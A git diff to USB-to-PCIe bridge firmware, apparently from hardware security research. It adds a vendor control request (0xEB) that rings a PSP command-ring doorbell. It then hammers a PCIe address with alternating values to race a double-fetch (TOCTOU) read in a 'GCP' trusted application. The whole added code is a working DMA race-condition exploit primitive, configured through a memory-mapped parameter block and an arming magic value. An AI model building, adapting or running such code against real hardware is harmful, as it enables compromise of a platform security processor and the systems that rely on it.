1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
|
diff --git a/handmade/src/main.c b/handmade/src/main.c
index 7dd8220..9ceb0d1 100644
--- a/handmade/src/main.c
+++ b/handmade/src/main.c
@@ -145,6 +145,16 @@ static void do_usb_bulk_in(void) {
/*=== USB Control Handler ===*/
+/* GCP hammer config, pinned at a free XDATA address (firmware uses 0x0000-0x0008
+ * and 0x7000+). Host pokes this via 0xE5 (no timing constraint), then fires the
+ * tiny 0xEB trigger. Layout (all little-endian):
+ * [0:8] doorbell PCIe addr (0 => skip doorbell) [8:12] doorbell value
+ * [12:20] hammer target PCIe addr [20:24] value A
+ * [24:28] value B [28:30] iterations
+ * [30] fmt_type (0 => MWr64 0x60) [31] byte_en (0 => 0x0F)
+ */
+__xdata uint8_t hammer_cfg[32];
+
static void handle_usb_control(void) {
uint8_t phase;
phase = REG_USB_CTRL_PHASE;
@@ -286,6 +296,10 @@ static void handle_usb_control(void) {
* DATA_OUT: 12 bytes = addr_lo[4 LE] + addr_hi[4 LE] + value[4 LE] */
/* Don't configure yet — wait for DATA_OUT phase.
* SETUP params (wValue/wIndex) are readable from registers in DATA_OUT. */
+ } else if (bmReq == (USB_SETUP_DIR_HOST_TO_DEV | USB_SETUP_TYPE_VENDOR) && bReq == 0xEB) {
+ /* 0xEB OUT (SETUP): GCP hammer trigger. Params come from hammer_cfg@0x6000
+ * (host-poked via 0xE5); trigger DATA_OUT is just the 4-byte arming magic.
+ * The doorbell+hammer runs in the STAT_IN branch below. Nothing here. */
} else if (bmReq == (USB_SETUP_DIR_DEV_TO_HOST | USB_SETUP_TYPE_VENDOR) && bReq == 0xF0) {
/* 0xF0 IN: read TLP completion (mode=0 only). Returns 8 bytes. */
uint8_t ret_status = 0xFF;
@@ -380,6 +394,62 @@ static void handle_usb_control(void) {
}
usb_send_zlp();
}
+ if (REG_USB_SETUP_BMREQ == (USB_SETUP_DIR_HOST_TO_DEV | USB_SETUP_TYPE_VENDOR) &&
+ REG_USB_SETUP_BREQ == 0xEB) {
+ /* ===== GCP cmd-buffer TOCTOU hammer (opcode 0xEB) =====================
+ * Rings the PSP ring doorbell (one MemWr), then immediately flips a 32-bit
+ * PCIe target between value A and value B, to race the GCP TA's triple-read
+ * of cmdBuf[0x818] (double-fetch; fw/FINDING-GCP-FE09-...md Add.70). The
+ * single 8051 can't both service the host submit and hammer, so the bridge
+ * must fire the final doorbell itself. All params live in hammer_cfg@0x6000
+ * (host-poked via 0xE5). Trigger payload = 4-byte arming magic 'H''M''R'0x01.
+ * Reuses the firmware's posted-MWr TLP primitive (fire-and-forget).
+ */
+ if (DESC_BUF[0] == 0x48 && DESC_BUF[1] == 0x4D &&
+ DESC_BUF[2] == 0x52 && DESC_BUF[3] == 0x01) {
+ uint16_t iters = ((uint16_t)hammer_cfg[29] << 8) | hammer_cfg[28];
+ uint8_t fmt = hammer_cfg[30] ? hammer_cfg[30] : PCIE_FMT_MEM_WRITE64;
+ uint8_t ben = hammer_cfg[31] ? hammer_cfg[31] : 0x0F;
+ /* value bytes: DATA_0 = LE LSB (HW-verified natural store) */
+ uint8_t a0 = hammer_cfg[20], a1 = hammer_cfg[21], a2 = hammer_cfg[22], a3 = hammer_cfg[23];
+ uint8_t b0 = hammer_cfg[24], b1 = hammer_cfg[25], b2 = hammer_cfg[26], b3 = hammer_cfg[27];
+ uint16_t k;
+ if (iters > 0x8000) iters = 0x8000;
+
+ REG_PCIE_FMT_TYPE = fmt;
+ REG_PCIE_BYTE_EN = ben;
+
+ /* optional doorbell: one MemWr to cfg[0:8] = cfg[8:12]. addr bytes map
+ * ADDR_0<-cfg[3]..ADDR_3<-cfg[0] / HIGH_0<-cfg[7]..HIGH_3<-cfg[4] (as 0xF0). */
+ if (hammer_cfg[0] | hammer_cfg[1] | hammer_cfg[2] | hammer_cfg[3] |
+ hammer_cfg[4] | hammer_cfg[5] | hammer_cfg[6] | hammer_cfg[7]) {
+ REG_PCIE_ADDR_0 = hammer_cfg[3]; REG_PCIE_ADDR_1 = hammer_cfg[2];
+ REG_PCIE_ADDR_2 = hammer_cfg[1]; REG_PCIE_ADDR_3 = hammer_cfg[0];
+ REG_PCIE_ADDR_HIGH_0 = hammer_cfg[7]; REG_PCIE_ADDR_HIGH_1 = hammer_cfg[6];
+ REG_PCIE_ADDR_HIGH_2 = hammer_cfg[5]; REG_PCIE_ADDR_HIGH_3 = hammer_cfg[4];
+ REG_PCIE_DATA_0 = hammer_cfg[8]; REG_PCIE_DATA_1 = hammer_cfg[9];
+ REG_PCIE_DATA_2 = hammer_cfg[10]; REG_PCIE_DATA_3 = hammer_cfg[11];
+ REG_PCIE_STATUS = (PCIE_STATUS_ERROR | PCIE_STATUS_COMPLETE | PCIE_STATUS_KICK);
+ REG_PCIE_TRIGGER = PCIE_TRIGGER_EXEC;
+ }
+
+ /* point engine at the hammer target cfg[12:20] */
+ REG_PCIE_ADDR_0 = hammer_cfg[15]; REG_PCIE_ADDR_1 = hammer_cfg[14];
+ REG_PCIE_ADDR_2 = hammer_cfg[13]; REG_PCIE_ADDR_3 = hammer_cfg[12];
+ REG_PCIE_ADDR_HIGH_0 = hammer_cfg[19]; REG_PCIE_ADDR_HIGH_1 = hammer_cfg[18];
+ REG_PCIE_ADDR_HIGH_2 = hammer_cfg[17]; REG_PCIE_ADDR_HIGH_3 = hammer_cfg[16];
+
+ for (k = 0; k < iters; k++) {
+ REG_PCIE_DATA_3 = a3; REG_PCIE_DATA_2 = a2; REG_PCIE_DATA_1 = a1; REG_PCIE_DATA_0 = a0;
+ REG_PCIE_STATUS = (PCIE_STATUS_ERROR | PCIE_STATUS_COMPLETE | PCIE_STATUS_KICK);
+ REG_PCIE_TRIGGER = PCIE_TRIGGER_EXEC;
+ REG_PCIE_DATA_3 = b3; REG_PCIE_DATA_2 = b2; REG_PCIE_DATA_1 = b1; REG_PCIE_DATA_0 = b0;
+ REG_PCIE_STATUS = (PCIE_STATUS_ERROR | PCIE_STATUS_COMPLETE | PCIE_STATUS_KICK);
+ REG_PCIE_TRIGGER = PCIE_TRIGGER_EXEC;
+ }
+ }
+ usb_send_zlp();
+ }
REG_USB_CTRL_PHASE = USB_CTRL_PHASE_DATA_IN | USB_CTRL_PHASE_STAT_IN;
} else if (phase & USB_CTRL_PHASE_DATA_OUT) {
REG_USB_CTRL_PHASE = USB_CTRL_PHASE_DATA_OUT;
|